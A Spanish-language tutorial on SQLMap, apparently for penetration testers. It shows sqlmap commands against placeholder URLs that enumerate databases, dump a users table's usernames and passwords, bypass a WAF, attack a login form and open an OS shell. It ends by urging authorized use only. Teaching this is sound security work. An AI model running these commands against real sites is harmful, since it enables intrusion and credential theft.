**SQL Injection Automatizada con SQLMap**

SQLMap es una herramienta de código abierto que automatiza la detección y explotación de fallos de inyección SQL, así como la toma de control de servidores de bases de datos. Es una herramienta poderosa y ampliamente utilizada por los profesionales de la seguridad informática para realizar pruebas de penetración y evaluar la seguridad de las aplicaciones web.

**Instalación**

SQLMap se puede instalar fácilmente en varios sistemas operativos. A continuación se muestra cómo instalarlo en un sistema basado en Debian/Ubuntu y en Windows.

**En Debian/Ubuntu:**

bash

Copy code

sudo apt-get update

sudo apt-get install sqlmap

**En Windows:**

1. Descarga SQLMap desde el repositorio oficial en GitHub: [SQLMap GitHub](https://github.com/sqlmapproject/sqlmap)
2. Extrae el archivo descargado.
3. Navega al directorio extraído y ejecuta sqlmap.py con Python.

**Uso Básico**

**Sintaxis:**

bash

Copy code

sqlmap -u <URL> [opciones]

**Ejemplos:**

1. **Detección básica de inyección SQL:**

bash

Copy code

sqlmap -u "http://example.com/vulnerable\_page.php?id=1"

1. **Especificar parámetros:**

bash

Copy code

sqlmap -u "http://example.com/vulnerable\_page.php" --data="id=1"

1. **Enumerar bases de datos:**

bash

Copy code

sqlmap -u "http://example.com/vulnerable\_page.php?id=1" --dbs

1. **Enumerar tablas de una base de datos específica:**

bash

Copy code

sqlmap -u "http://example.com/vulnerable\_page.php?id=1" -D nombre\_de\_base\_de\_datos --tables

1. **Enumerar columnas de una tabla específica:**

bash

Copy code

sqlmap -u "http://example.com/vulnerable\_page.php?id=1" -D nombre\_de\_base\_de\_datos -T nombre\_de\_tabla --columns

1. **Obtener datos de una tabla específica:**

bash

Copy code

sqlmap -u "http://example.com/vulnerable\_page.php?id=1" -D nombre\_de\_base\_de\_datos -T nombre\_de\_tabla -C nombre\_de\_columna --dump

**Opciones Avanzadas**

1. **Bypass de WAF (Web Application Firewall):**

bash

Copy code

sqlmap -u "http://example.com/vulnerable\_page.php?id=1" --tamper=space2comment

1. **Ataques a formularios de autenticación:**

bash

Copy code

sqlmap -u "http://example.com/login.php" --data="username=admin&password=password" --batch

1. **Especificar tipo de base de datos:**

bash

Copy code

sqlmap -u "http://example.com/vulnerable\_page.php?id=1" --dbms=mysql

1. **Ejecutar comandos en el sistema operativo subyacente:**

bash

Copy code

sqlmap -u "http://example.com/vulnerable\_page.php?id=1" --os-shell

1. **Guardar resultados en un archivo:**

bash

Copy code

sqlmap -u "http://example.com/vulnerable\_page.php?id=1" --output-dir=./resultados

**Ejemplo Completo**

**Escenario:**

Tienes una URL vulnerable http://example.com/products.php?id=1 y quieres obtener los datos de una tabla específica.

1. **Detectar la vulnerabilidad:**

bash

Copy code

sqlmap -u "http://example.com/products.php?id=1"

1. **Enumerar las bases de datos:**

bash

Copy code

sqlmap -u "http://example.com/products.php?id=1" --dbs

1. **Seleccionar la base de datos shop:**

bash

Copy code

sqlmap -u "http://example.com/products.php?id=1" -D shop --tables

1. **Seleccionar la tabla users:**

bash

Copy code

sqlmap -u "http://example.com/products.php?id=1" -D shop -T users --columns

1. **Obtener los datos de las columnas username y password:**

bash

Copy code

sqlmap -u "http://example.com/products.php?id=1" -D shop -T users -C username,password --dump

**Conclusión**

SQLMap es una herramienta muy potente para automatizar la detección y explotación de inyecciones SQL. Es crucial usarla con responsabilidad y únicamente en entornos de prueba o con autorización explícita. La automatización proporcionada por SQLMap ahorra tiempo y esfuerzo, permitiendo a los profesionales de la seguridad centrarse en la mitigación de las vulnerabilidades detectadas.